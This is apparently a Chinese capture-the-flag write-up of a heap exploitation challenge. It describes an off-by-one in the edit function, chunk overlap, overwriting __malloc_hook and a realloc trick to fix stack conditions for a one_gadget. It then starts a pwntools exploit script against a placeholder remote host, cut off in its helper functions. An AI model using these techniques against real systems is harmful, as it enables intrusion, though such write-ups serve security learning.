例行检查
保护全开,分析程序。
当edit大小比申请大小多10的时候可以多输入一字节,存在off-by-one。修改size来进行overlap。需要注意的是最后覆盖malloc_hook时,onegadget都不可用,应为栈条件不满足,可以利用realloc的trick来调整栈。
参考:堆的六种利用手法
from pwn import *
io=remote('xx.xx.xx.xx',xxxx)
libc=ELF('./libc-2.23.so')
def add(size):
io.recvuntil('choice: ')
io.sendline('1')
io.recvuntil('size:')
io.sendline(str(size))
def edit(index,size,data):
io.recvuntil('choice: ')
io.sendline(<